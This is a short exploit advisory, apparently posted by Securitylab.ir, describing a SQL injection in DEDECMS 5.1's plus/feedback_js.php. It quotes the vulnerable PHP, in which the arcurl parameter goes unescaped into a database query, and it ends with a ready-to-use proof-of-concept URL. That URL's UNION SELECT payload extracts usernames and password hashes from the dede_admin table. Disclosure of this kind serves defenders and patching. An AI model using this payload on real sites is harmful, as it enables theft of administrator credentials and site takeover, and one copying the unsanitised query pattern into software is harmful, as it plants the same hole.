DEDECMS v5.1 Sql Injection Vulnerability

######################### Securitylab.ir ########################
# Application Info:
# Name: DEDECMS
# Version: 5.1
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# Discoverd By: Securitylab.ir 
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
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# Vulnerability Info:
# Type: Sql Injection Vulnerability
# Risk: Medium
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# feedback_js.php
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url=$arcurl ");
 if(is_array($row)) $urlindex = $row[id];
}
if(empty($arcID) && empty($urlindex)) exit();
......
if(empty($arcID)) $wq = " urlindex = $urlindex "; 
else $wq = " aid=$arcID ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck=1 order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
...
# http://site.com/[PATH]/plus/feedback_js.php?arcurl= union select " and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and =" from dede_admin where =
#===========================================================
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# Securitylab Security Research Team
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